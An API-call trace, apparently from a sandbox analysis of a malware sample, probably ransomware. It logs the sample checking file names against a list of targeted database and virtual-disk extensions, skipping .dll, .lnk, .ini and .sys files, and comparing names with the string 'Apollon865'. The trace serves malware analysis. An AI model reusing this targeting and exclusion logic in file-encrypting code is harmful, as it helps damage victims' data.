	[0060.601] lstrlenW (lpString="vdi") returned 3
	[0060.601] lstrcmpiW (lpString1="CHT", lpString2="vdi") returned -1
	[0060.601] lstrlenW (lpString="vhd") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="vhd") returned -1
	[0060.602] lstrlenW (lpString="vhdx") returned 4
	[0060.602] lstrcmpiW (lpString1=".CHT", lpString2="vhdx") returned -1
	[0060.602] lstrlenW (lpString="avhd") returned 4
	[0060.602] lstrcmpiW (lpString1=".CHT", lpString2="avhd") returned -1
	[0060.602] lstrlenW (lpString="db") returned 2
	[0060.602] lstrcmpiW (lpString1="HT", lpString2="db") returned 1
	[0060.602] lstrlenW (lpString="db2") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="db2") returned -1
	[0060.602] lstrlenW (lpString="db3") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="db3") returned -1
	[0060.602] lstrlenW (lpString="dbf") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="dbf") returned -1
	[0060.602] lstrlenW (lpString="mdf") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="mdf") returned -1
	[0060.602] lstrlenW (lpString="mdb") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="mdb") returned -1
	[0060.602] lstrlenW (lpString="sql") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="sql") returned -1
	[0060.602] lstrlenW (lpString="sqlite") returned 6
	[0060.602] lstrcmpiW (lpString1="32.CHT", lpString2="sqlite") returned -1
	[0060.602] lstrlenW (lpString="sqlite3") returned 7
	[0060.602] lstrcmpiW (lpString1="f32.CHT", lpString2="sqlite3") returned -1
	[0060.602] lstrlenW (lpString="sqlitedb") returned 8
	[0060.602] lstrcmpiW (lpString1="df32.CHT", lpString2="sqlitedb") returned -1
	[0060.602] lstrlenW (lpString="xml") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="xml") returned -1
	[0060.602] lstrlenW (lpString="$er") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="$er") returned 1
	[0060.602] lstrlenW (lpString="4dd") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="4dd") returned 1
	[0060.602] lstrlenW (lpString="4dl") returned 3
	[0060.602] lstrcmpiW (lpString1="CHT", lpString2="4dl") returned 1
	[0060.602] lstrlenW (lpString="^^^") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="^^^") returned 1
	[0060.603] lstrlenW (lpString="abs") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="abs") returned 1
	[0060.603] lstrlenW (lpString="abx") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="abx") returned 1
	[0060.603] lstrlenW (lpString="accdb") returned 5
	[0060.603] lstrcmpiW (lpString1="2.CHT", lpString2="accdb") returned -1
	[0060.603] lstrlenW (lpString="accdc") returned 5
	[0060.603] lstrcmpiW (lpString1="2.CHT", lpString2="accdc") returned -1
	[0060.603] lstrlenW (lpString="accde") returned 5
	[0060.603] lstrcmpiW (lpString1="2.CHT", lpString2="accde") returned -1
	[0060.603] lstrlenW (lpString="accdr") returned 5
	[0060.603] lstrcmpiW (lpString1="2.CHT", lpString2="accdr") returned -1
	[0060.603] lstrlenW (lpString="accdt") returned 5
	[0060.603] lstrcmpiW (lpString1="2.CHT", lpString2="accdt") returned -1
	[0060.603] lstrlenW (lpString="accdw") returned 5
	[0060.603] lstrcmpiW (lpString1="2.CHT", lpString2="accdw") returned -1
	[0060.603] lstrlenW (lpString="accft") returned 5
	[0060.603] lstrcmpiW (lpString1="2.CHT", lpString2="accft") returned -1
	[0060.603] lstrlenW (lpString="adb") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="adb") returned 1
	[0060.603] lstrlenW (lpString="adb") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="adb") returned 1
	[0060.603] lstrlenW (lpString="ade") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="ade") returned 1
	[0060.603] lstrlenW (lpString="adf") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="adf") returned 1
	[0060.603] lstrlenW (lpString="adn") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="adn") returned 1
	[0060.603] lstrlenW (lpString="adp") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="adp") returned 1
	[0060.603] lstrlenW (lpString="alf") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="alf") returned 1
	[0060.603] lstrlenW (lpString="ask") returned 3
	[0060.603] lstrcmpiW (lpString1="CHT", lpString2="ask") returned 1
	[0060.604] lstrlenW (lpString="btr") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="btr") returned 1
	[0060.604] lstrlenW (lpString="cat") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="cat") returned 1
	[0060.604] lstrlenW (lpString="cdb") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="cdb") returned 1
	[0060.604] lstrlenW (lpString="ckp") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="ckp") returned -1
	[0060.604] lstrlenW (lpString="cma") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="cma") returned -1
	[0060.604] lstrlenW (lpString="cpd") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="cpd") returned -1
	[0060.604] lstrlenW (lpString="dacpac") returned 6
	[0060.604] lstrcmpiW (lpString1="32.CHT", lpString2="dacpac") returned -1
	[0060.604] lstrlenW (lpString="dad") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="dad") returned -1
	[0060.604] lstrlenW (lpString="dadiagrams") returned 10
	[0060.604] lstrcmpiW (lpString1="ppdf32.CHT", lpString2="dadiagrams") returned 1
	[0060.604] lstrlenW (lpString="daschema") returned 8
	[0060.604] lstrcmpiW (lpString1="df32.CHT", lpString2="daschema") returned 1
	[0060.604] lstrlenW (lpString="db-journal") returned 10
	[0060.604] lstrcmpiW (lpString1="ppdf32.CHT", lpString2="db-journal") returned 1
	[0060.604] lstrlenW (lpString="db-shm") returned 6
	[0060.604] lstrcmpiW (lpString1="32.CHT", lpString2="db-shm") returned -1
	[0060.604] lstrlenW (lpString="db-wal") returned 6
	[0060.604] lstrcmpiW (lpString1="32.CHT", lpString2="db-wal") returned -1
	[0060.604] lstrlenW (lpString="dbc") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="dbc") returned -1
	[0060.604] lstrlenW (lpString="dbs") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="dbs") returned -1
	[0060.604] lstrlenW (lpString="dbt") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="dbt") returned -1
	[0060.604] lstrlenW (lpString="dbv") returned 3
	[0060.604] lstrcmpiW (lpString1="CHT", lpString2="dbv") returned -1
	[0060.605] lstrlenW (lpString="dbx") returned 3
	[0060.605] lstrcmpiW (lpString1="CHT", lpString2="dbx") returned -1
	[0060.605] lstrlenW (lpString="dcb") returned 3
	[0060.605] lstrcmpiW (lpString1="CHT", lpString2="dcb") returned -1
	[0060.605] lstrcmpiW (lpString1="CHT", lpString2="dct") returned -1
	[0060.605] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.CZE" | out: lpString1="nppdf32.CZE") returned="nppdf32.CZE"
	[0060.605] lstrlenW (lpString="nppdf32.CZE") returned 11
	[0060.605] lstrlenW (lpString="Apollon865") returned 10
	[0060.605] lstrcmpiW (lpString1="ppdf32.CZE", lpString2="Apollon865") returned 1
	[0060.605] lstrlenW (lpString=".dll") returned 4
	[0060.605] lstrcmpiW (lpString1="nppdf32.CZE", lpString2=".dll") returned 1
	[0060.605] lstrlenW (lpString=".lnk") returned 4
	[0060.605] lstrcmpiW (lpString1="nppdf32.CZE", lpString2=".lnk") returned 1
	[0060.605] lstrlenW (lpString=".ini") returned 4
	[0060.605] lstrcmpiW (lpString1="nppdf32.CZE", lpString2=".ini") returned 1
	[0060.605] lstrlenW (lpString=".sys") returned 4
	[0060.605] lstrcmpiW (lpString1="nppdf32.CZE", lpString2=".sys") returned 1
	[0060.605] lstrlenW (lpString="nppdf32.CZE") returned 11
	[0060.605] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.DAN" | out: lpString1="nppdf32.DAN") returned="nppdf32.DAN"
	[0060.605] lstrlenW (lpString="nppdf32.DAN") returned 11
	[0060.605] lstrlenW (lpString="Apollon865") returned 10
	[0060.605] lstrcmpiW (lpString1="ppdf32.DAN", lpString2="Apollon865") returned 1
	[0060.605] lstrlenW (lpString=".dll") returned 4
	[0060.605] lstrcmpiW (lpString1="nppdf32.DAN", lpString2=".dll") returned 1
	[0060.605] lstrlenW (lpString=".lnk") returned 4
	[0060.605] lstrcmpiW (lpString1="nppdf32.DAN", lpString2=".lnk") returned 1
	[0060.605] lstrlenW (lpString=".ini") returned 4
	[0060.606] lstrcmpiW (lpString1="nppdf32.DAN", lpString2=".ini") returned 1
	[0060.606] lstrlenW (lpString=".sys") returned 4
	[0060.606] lstrcmpiW (lpString1="nppdf32.DAN", lpString2=".sys") returned 1
	[0060.606] lstrlenW (lpString="nppdf32.DAN") returned 11
	[0060.606] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.DEU" | out: lpString1="nppdf32.DEU") returned="nppdf32.DEU"
	[0060.606] lstrlenW (lpString="nppdf32.DEU") returned 11
	[0060.606] lstrlenW (lpString="Apollon865") returned 10
	[0060.606] lstrcmpiW (lpString1="ppdf32.DEU", lpString2="Apollon865") returned 1
	[0060.606] lstrlenW (lpString=".dll") returned 4
	[0060.606] lstrcmpiW (lpString1="nppdf32.DEU", lpString2=".dll") returned 1
	[0060.606] lstrlenW (lpString=".lnk") returned 4
	[0060.606] lstrcmpiW (lpString1="nppdf32.DEU", lpString2=".lnk") returned 1
	[0060.606] lstrlenW (lpString=".ini") returned 4
	[0060.606] lstrcmpiW (lpString1="nppdf32.DEU", lpString2=".ini") returned 1
	[0060.606] lstrlenW (lpString=".sys") returned 4
	[0060.606] lstrcmpiW (lpString1="nppdf32.DEU", lpString2=".sys") returned 1
	[0060.606] lstrlenW (lpString="nppdf32.DEU") returned 11
	[0060.606] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.dll" | out: lpString1="nppdf32.dll") returned="nppdf32.dll"
	[0060.606] lstrlenW (lpString="nppdf32.dll") returned 11
	[0060.606] lstrlenW (lpString="Apollon865") returned 10
	[0060.606] lstrcmpiW (lpString1="ppdf32.dll", lpString2="Apollon865") returned 1
	[0060.606] lstrlenW (lpString=".dll") returned 4
	[0060.606] lstrcmpiW (lpString1="nppdf32.dll", lpString2=".dll") returned 1
	[0060.606] lstrlenW (lpString=".lnk") returned 4
	[0060.606] lstrcmpiW (lpString1="nppdf32.dll", lpString2=".lnk") returned 1
	[0060.606] lstrlenW (lpString=".ini") returned 4
	[0060.606] lstrcmpiW (lpString1="nppdf32.dll", lpString2=".ini") returned 1
	[0060.606] lstrlenW (lpString=".sys") returned 4
	[0060.606] lstrcmpiW (lpString1="nppdf32.dll", lpString2=".sys") returned 1
	[0060.607] lstrlenW (lpString="nppdf32.dll") returned 11
	[0060.607] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.ESP" | out: lpString1="nppdf32.ESP") returned="nppdf32.ESP"
	[0060.607] lstrlenW (lpString="nppdf32.ESP") returned 11
	[0060.607] lstrlenW (lpString="Apollon865") returned 10
	[0060.607] lstrcmpiW (lpString1="ppdf32.ESP", lpString2="Apollon865") returned 1
	[0060.607] lstrlenW (lpString=".dll") returned 4
	[0060.607] lstrcmpiW (lpString1="nppdf32.ESP", lpString2=".dll") returned 1
	[0060.607] lstrlenW (lpString=".lnk") returned 4
	[0060.607] lstrcmpiW (lpString1="nppdf32.ESP", lpString2=".lnk") returned 1
	[0060.607] lstrlenW (lpString=".ini") returned 4
	[0060.607] lstrcmpiW (lpString1="nppdf32.ESP", lpString2=".ini") returned 1
	[0060.607] lstrlenW (lpString=".sys") returned 4
	[0060.607] lstrcmpiW (lpString1="nppdf32.ESP", lpString2=".sys") returned 1
	[0060.607] lstrlenW (lpString="nppdf32.ESP") returned 11
	[0060.607] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.EUQ" | out: lpString1="nppdf32.EUQ") returned="nppdf32.EUQ"
	[0060.607] lstrlenW (lpString="nppdf32.EUQ") returned 11
	[0060.607] lstrlenW (lpString="Apollon865") returned 10
	[0060.607] lstrcmpiW (lpString1="ppdf32.EUQ", lpString2="Apollon865") returned 1
	[0060.607] lstrlenW (lpString=".dll") returned 4
	[0060.607] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2=".dll") returned 1
	[0060.607] lstrlenW (lpString=".lnk") returned 4
	[0060.607] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2=".lnk") returned 1
	[0060.607] lstrlenW (lpString=".ini") returned 4
	[0060.607] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2=".ini") returned 1
	[0060.608] lstrlenW (lpString=".sys") returned 4
	[0060.608] lstrcmpiW (lpString1="nppdf32.EUQ", lpString2=".sys") returned 1
	[0060.608] lstrlenW (lpString="nppdf32.EUQ") returned 11
	[0060.608] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.FRA" | out: lpString1="nppdf32.FRA") returned="nppdf32.FRA"
	[0060.608] lstrlenW (lpString="nppdf32.FRA") returned 11
	[0060.608] lstrlenW (lpString="Apollon865") returned 10
	[0060.608] lstrcmpiW (lpString1="ppdf32.FRA", lpString2="Apollon865") returned 1
	[0060.608] lstrlenW (lpString=".dll") returned 4
	[0060.608] lstrcmpiW (lpString1="nppdf32.FRA", lpString2=".dll") returned 1
	[0060.608] lstrlenW (lpString=".lnk") returned 4
	[0060.608] lstrcmpiW (lpString1="nppdf32.FRA", lpString2=".lnk") returned 1
	[0060.608] lstrlenW (lpString=".ini") returned 4
	[0060.608] lstrcmpiW (lpString1="nppdf32.FRA", lpString2=".ini") returned 1
	[0060.608] lstrlenW (lpString=".sys") returned 4
	[0060.608] lstrcmpiW (lpString1="nppdf32.FRA", lpString2=".sys") returned 1
	[0060.608] lstrlenW (lpString="nppdf32.FRA") returned 11
	[0060.608] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.HRV" | out: lpString1="nppdf32.HRV") returned="nppdf32.HRV"
	[0060.608] lstrlenW (lpString="nppdf32.HRV") returned 11
	[0060.608] lstrlenW (lpString="Apollon865") returned 10
	[0060.608] lstrcmpiW (lpString1="ppdf32.HRV", lpString2="Apollon865") returned 1
	[0060.608] lstrlenW (lpString=".dll") returned 4
	[0060.608] lstrcmpiW (lpString1="nppdf32.HRV", lpString2=".dll") returned 1
	[0060.608] lstrlenW (lpString=".lnk") returned 4
	[0060.608] lstrcmpiW (lpString1="nppdf32.HRV", lpString2=".lnk") returned 1
	[0060.608] lstrlenW (lpString=".ini") returned 4
	[0060.608] lstrcmpiW (lpString1="nppdf32.HRV", lpString2=".ini") returned 1
	[0060.608] lstrlenW (lpString=".sys") returned 4
	[0060.608] lstrcmpiW (lpString1="nppdf32.HRV", lpString2=".sys") returned 1
	[0060.608] lstrlenW (lpString="nppdf32.HRV") returned 11
	[0060.609] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.HUN" | out: lpString1="nppdf32.HUN") returned="nppdf32.HUN"
	[0060.609] lstrlenW (lpString="nppdf32.HUN") returned 11
	[0060.609] lstrlenW (lpString="Apollon865") returned 10
	[0060.609] lstrcmpiW (lpString1="ppdf32.HUN", lpString2="Apollon865") returned 1
	[0060.609] lstrlenW (lpString=".dll") returned 4
	[0060.609] lstrcmpiW (lpString1="nppdf32.HUN", lpString2=".dll") returned 1
	[0060.609] lstrlenW (lpString=".lnk") returned 4
	[0060.609] lstrcmpiW (lpString1="nppdf32.HUN", lpString2=".lnk") returned 1
	[0060.609] lstrlenW (lpString=".ini") returned 4
	[0060.609] lstrcmpiW (lpString1="nppdf32.HUN", lpString2=".ini") returned 1
	[0060.609] lstrlenW (lpString=".sys") returned 4
	[0060.609] lstrcmpiW (lpString1="nppdf32.HUN", lpString2=".sys") returned 1
	[0060.609] lstrlenW (lpString="nppdf32.HUN") returned 11
	[0060.609] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.ITA" | out: lpString1="nppdf32.ITA") returned="nppdf32.ITA"
	[0060.609] lstrlenW (lpString="nppdf32.ITA") returned 11
	[0060.609] lstrlenW (lpString="Apollon865") returned 10
	[0060.609] lstrcmpiW (lpString1="ppdf32.ITA", lpString2="Apollon865") returned 1
	[0060.609] lstrlenW (lpString=".dll") returned 4
	[0060.609] lstrcmpiW (lpString1="nppdf32.ITA", lpString2=".dll") returned 1
	[0060.609] lstrlenW (lpString=".lnk") returned 4
	[0060.609] lstrcmpiW (lpString1="nppdf32.ITA", lpString2=".lnk") returned 1
	[0060.609] lstrlenW (lpString=".ini") returned 4
	[0060.609] lstrcmpiW (lpString1="nppdf32.ITA", lpString2=".ini") returned 1
	[0060.609] lstrlenW (lpString=".sys") returned 4
	[0060.609] lstrcmpiW (lpString1="nppdf32.ITA", lpString2=".sys") returned 1
	[0060.609] lstrlenW (lpString="nppdf32.ITA") returned 11
	[0060.609] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.JPN" | out: lpString1="nppdf32.JPN") returned="nppdf32.JPN"
	[0060.609] lstrlenW (lpString="nppdf32.JPN") returned 11
	[0060.609] lstrlenW (lpString="Apollon865") returned 10
	[0060.609] lstrcmpiW (lpString1="ppdf32.JPN", lpString2="Apollon865") returned 1
	[0060.609] lstrlenW (lpString=".dll") returned 4
	[0060.610] lstrcmpiW (lpString1="nppdf32.JPN", lpString2=".dll") returned 1
	[0060.610] lstrlenW (lpString=".lnk") returned 4
	[0060.610] lstrcmpiW (lpString1="nppdf32.JPN", lpString2=".lnk") returned 1
	[0060.610] lstrlenW (lpString=".ini") returned 4
	[0060.610] lstrcmpiW (lpString1="nppdf32.JPN", lpString2=".ini") returned 1
	[0060.610] lstrlenW (lpString=".sys") returned 4
	[0060.610] lstrcmpiW (lpString1="nppdf32.JPN", lpString2=".sys") returned 1
	[0060.610] lstrlenW (lpString="nppdf32.JPN") returned 11
	[0060.610] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.KOR" | out: lpString1="nppdf32.KOR") returned="nppdf32.KOR"
	[0060.610] lstrlenW (lpString="nppdf32.KOR") returned 11
	[0060.610] lstrlenW (lpString="Apollon865") returned 10
	[0060.610] lstrcmpiW (lpString1="ppdf32.KOR", lpString2="Apollon865") returned 1
	[0060.610] lstrlenW (lpString=".dll") returned 4
	[0060.610] lstrcmpiW (lpString1="nppdf32.KOR", lpString2=".dll") returned 1
	[0060.610] lstrlenW (lpString=".lnk") returned 4
	[0060.610] lstrcmpiW (lpString1="nppdf32.KOR", lpString2=".lnk") returned 1
	[0060.610] lstrlenW (lpString=".ini") returned 4
	[0060.610] lstrcmpiW (lpString1="nppdf32.KOR", lpString2=".ini") returned 1
	[0060.610] lstrlenW (lpString=".sys") returned 4
	[0060.610] lstrcmpiW (lpString1="nppdf32.KOR", lpString2=".sys") returned 1
	[0060.610] lstrlenW (lpString="nppdf32.KOR") returned 11
	[0060.610] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.NLD" | out: lpString1="nppdf32.NLD") returned="nppdf32.NLD"
	[0060.610] lstrlenW (lpString="nppdf32.NLD") returned 11
	[0060.610] lstrlenW (lpString="Apollon865") returned 10
	[0060.610] lstrcmpiW (lpString1="ppdf32.NLD", lpString2="Apollon865") returned 1
	[0060.610] lstrlenW (lpString=".dll") returned 4
	[0060.610] lstrcmpiW (lpString1="nppdf32.NLD", lpString2=".dll") returned 1
	[0060.610] lstrlenW (lpString=".lnk") returned 4
	[0060.610] lstrcmpiW (lpString1="nppdf32.NLD", lpString2=".lnk") returned 1
	[0060.610] lstrlenW (lpString=".ini") returned 4
	[0060.611] lstrcmpiW (lpString1="nppdf32.NLD", lpString2=".ini") returned 1
	[0060.611] lstrlenW (lpString=".sys") returned 4
	[0060.611] lstrcmpiW (lpString1="nppdf32.NLD", lpString2=".sys") returned 1
	[0060.611] lstrlenW (lpString="nppdf32.NLD") returned 11
	[0060.611] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.NOR" | out: lpString1="nppdf32.NOR") returned="nppdf32.NOR"
	[0060.611] lstrlenW (lpString="nppdf32.NOR") returned 11
	[0060.611] lstrlenW (lpString="Apollon865") returned 10
	[0060.611] lstrcmpiW (lpString1="ppdf32.NOR", lpString2="Apollon865") returned 1
	[0060.611] lstrlenW (lpString=".dll") returned 4
	[0060.611] lstrcmpiW (lpString1="nppdf32.NOR", lpString2=".dll") returned 1
	[0060.611] lstrlenW (lpString=".lnk") returned 4
	[0060.611] lstrcmpiW (lpString1="nppdf32.NOR", lpString2=".lnk") returned 1
	[0060.611] lstrlenW (lpString=".ini") returned 4
	[0060.611] lstrcmpiW (lpString1="nppdf32.NOR", lpString2=".ini") returned 1
	[0060.611] lstrlenW (lpString=".sys") returned 4
	[0060.611] lstrcmpiW (lpString1="nppdf32.NOR", lpString2=".sys") returned 1
	[0060.611] lstrlenW (lpString="nppdf32.NOR") returned 11
	[0060.611] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.POL" | out: lpString1="nppdf32.POL") returned="nppdf32.POL"
	[0060.611] lstrlenW (lpString="nppdf32.POL") returned 11
	[0060.611] lstrlenW (lpString="Apollon865") returned 10
	[0060.611] lstrcmpiW (lpString1="ppdf32.POL", lpString2="Apollon865") returned 1
	[0060.611] lstrlenW (lpString=".dll") returned 4
	[0060.611] lstrcmpiW (lpString1="nppdf32.POL", lpString2=".dll") returned 1
	[0060.611] lstrlenW (lpString=".lnk") returned 4
	[0060.611] lstrcmpiW (lpString1="nppdf32.POL", lpString2=".lnk") returned 1
	[0060.611] lstrlenW (lpString=".ini") returned 4
	[0060.611] lstrcmpiW (lpString1="nppdf32.POL", lpString2=".ini") returned 1
	[0060.611] lstrlenW (lpString=".sys") returned 4
	[0060.611] lstrcmpiW (lpString1="nppdf32.POL", lpString2=".sys") returned 1
	[0060.611] lstrlenW (lpString="nppdf32.POL") returned 11
	[0060.612] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.PTB" | out: lpString1="nppdf32.PTB") returned="nppdf32.PTB"
	[0060.612] lstrlenW (lpString="nppdf32.PTB") returned 11
	[0060.612] lstrlenW (lpString="Apollon865") returned 10
	[0060.612] lstrcmpiW (lpString1="ppdf32.PTB", lpString2="Apollon865") returned 1
	[0060.612] lstrlenW (lpString=".dll") returned 4
	[0060.612] lstrcmpiW (lpString1="nppdf32.PTB", lpString2=".dll") returned 1
	[0060.612] lstrlenW (lpString=".lnk") returned 4
	[0060.612] lstrcmpiW (lpString1="nppdf32.PTB", lpString2=".lnk") returned 1
	[0060.612] lstrlenW (lpString=".ini") returned 4
	[0060.612] lstrcmpiW (lpString1="nppdf32.PTB", lpString2=".ini") returned 1
	[0060.613] lstrlenW (lpString=".sys") returned 4
	[0060.613] lstrcmpiW (lpString1="nppdf32.PTB", lpString2=".sys") returned 1
	[0060.613] lstrlenW (lpString="nppdf32.PTB") returned 11
	[0060.613] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.RUM" | out: lpString1="nppdf32.RUM") returned="nppdf32.RUM"
	[0060.613] lstrlenW (lpString="nppdf32.RUM") returned 11
	[0060.613] lstrlenW (lpString="Apollon865") returned 10
	[0060.613] lstrcmpiW (lpString1="ppdf32.RUM", lpString2="Apollon865") returned 1
	[0060.613] lstrlenW (lpString=".dll") returned 4
	[0060.613] lstrcmpiW (lpString1="nppdf32.RUM", lpString2=".dll") returned 1
	[0060.613] lstrlenW (lpString=".lnk") returned 4
	[0060.613] lstrcmpiW (lpString1="nppdf32.RUM", lpString2=".lnk") returned 1
	[0060.613] lstrlenW (lpString=".ini") returned 4
	[0060.613] lstrcmpiW (lpString1="nppdf32.RUM", lpString2=".ini") returned 1
	[0060.613] lstrlenW (lpString=".sys") returned 4
	[0060.613] lstrcmpiW (lpString1="nppdf32.RUM", lpString2=".sys") returned 1
	[0060.613] lstrlenW (lpString="nppdf32.RUM") returned 11
	[0060.614] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.RUS" | out: lpString1="nppdf32.RUS") returned="nppdf32.RUS"
	[0060.614] lstrlenW (lpString="nppdf32.RUS") returned 11
	[0060.614] lstrlenW (lpString="Apollon865") returned 10
	[0060.614] lstrcmpiW (lpString1="ppdf32.RUS", lpString2="Apollon865") returned 1
	[0060.614] lstrlenW (lpString=".dll") returned 4
	[0060.614] lstrcmpiW (lpString1="nppdf32.RUS", lpString2=".dll") returned 1
	[0060.614] lstrlenW (lpString=".lnk") returned 4
	[0060.614] lstrcmpiW (lpString1="nppdf32.RUS", lpString2=".lnk") returned 1
	[0060.614] lstrlenW (lpString=".ini") returned 4
	[0060.614] lstrcmpiW (lpString1="nppdf32.RUS", lpString2=".ini") returned 1
	[0060.614] lstrlenW (lpString=".sys") returned 4
	[0060.614] lstrcmpiW (lpString1="nppdf32.RUS", lpString2=".sys") returned 1
	[0060.614] lstrlenW (lpString="nppdf32.RUS") returned 11
	[0060.614] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.SKY" | out: lpString1="nppdf32.SKY") returned="nppdf32.SKY"
	[0060.614] lstrlenW (lpString="nppdf32.SKY") returned 11
	[0060.614] lstrlenW (lpString="Apollon865") returned 10
	[0060.614] lstrcmpiW (lpString1="ppdf32.SKY", lpString2="Apollon865") returned 1
	[0060.614] lstrlenW (lpString=".dll") returned 4
	[0060.614] lstrcmpiW (lpString1="nppdf32.SKY", lpString2=".dll") returned 1
	[0060.614] lstrlenW (lpString=".lnk") returned 4
	[0060.614] lstrcmpiW (lpString1="nppdf32.SKY", lpString2=".lnk") returned 1
	[0060.614] lstrlenW (lpString=".ini") returned 4
	[0060.614] lstrcmpiW (lpString1="nppdf32.SKY", lpString2=".ini") returned 1
	[0060.614] lstrlenW (lpString=".sys") returned 4
	[0060.614] lstrcmpiW (lpString1="nppdf32.SKY", lpString2=".sys") returned 1
	[0060.614] lstrlenW (lpString="nppdf32.SKY") returned 11
	[0060.614] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.SLV" | out: lpString1="nppdf32.SLV") returned="nppdf32.SLV"
	[0060.614] lstrlenW (lpString="nppdf32.SLV") returned 11
	[0060.614] lstrlenW (lpString="Apollon865") returned 10
	[0060.614] lstrcmpiW (lpString1="ppdf32.SLV", lpString2="Apollon865") returned 1
	[0060.615] lstrlenW (lpString=".dll") returned 4
	[0060.615] lstrcmpiW (lpString1="nppdf32.SLV", lpString2=".dll") returned 1
	[0060.615] lstrlenW (lpString=".lnk") returned 4
	[0060.615] lstrcmpiW (lpString1="nppdf32.SLV", lpString2=".lnk") returned 1
	[0060.615] lstrlenW (lpString=".ini") returned 4
	[0060.615] lstrcmpiW (lpString1="nppdf32.SLV", lpString2=".ini") returned 1
	[0060.615] lstrlenW (lpString=".sys") returned 4
	[0060.615] lstrcmpiW (lpString1="nppdf32.SLV", lpString2=".sys") returned 1
	[0060.615] lstrlenW (lpString="nppdf32.SLV") returned 11
	[0060.615] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.SUO" | out: lpString1="nppdf32.SUO") returned="nppdf32.SUO"
	[0060.615] lstrlenW (lpString="nppdf32.SUO") returned 11
	[0060.615] lstrlenW (lpString="Apollon865") returned 10
	[0060.615] lstrcmpiW (lpString1="ppdf32.SUO", lpString2="Apollon865") returned 1
	[0060.615] lstrlenW (lpString=".dll") returned 4
	[0060.615] lstrcmpiW (lpString1="nppdf32.SUO", lpString2=".dll") returned 1
	[0060.615] lstrlenW (lpString=".lnk") returned 4
	[0060.615] lstrcmpiW (lpString1="nppdf32.SUO", lpString2=".lnk") returned 1
	[0060.615] lstrlenW (lpString=".ini") returned 4
	[0060.615] lstrcmpiW (lpString1="nppdf32.SUO", lpString2=".ini") returned 1
	[0060.615] lstrlenW (lpString=".sys") returned 4
	[0060.615] lstrcmpiW (lpString1="nppdf32.SUO", lpString2=".sys") returned 1
	[0060.615] lstrlenW (lpString="nppdf32.SUO") returned 11
	[0060.615] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="nppdf32.SVE" | out: lpString1="nppdf32.SVE") returned="nppdf32.SVE"
	[0060.615] lstrlenW (lpString="nppdf32.SVE") returned 11
	[0060.615] lstrlenW (lpString="Apollon865") returned 10
	[0060.615] lstrcmpiW (lpString1="ppdf32.SVE", lpString2="Apollon865") returned 1
	[0060.615] lstrlenW (lpString=".dll") returned 4
	[0060.615] lstrcmpiW (lpString1="nppdf32.SVE", lpString2=".dll") returned 1
	[0060.615] lstrlenW (lpString=".lnk") returned 4
	[0060.615] lstrcmpiW (lpString1="nppdf32.SVE", lpString2=".lnk") returned 1
	[0060.615] lstrlenW (lpString=".ini") returned 4
	[0060.616] lstrcmpiW (lpString1="nppdf32.SVE", lpString2=".ini") returned 1
	[0060.616] lstrlenW (lpString=".sys") returned 4
	[0060.616] lstrcmpiW (lpString1="nppdf32.SVE", lpString2=".sys") returned 1
	[0060.616] lstrlenW (lpString="nppdf32.SVE") returned 11
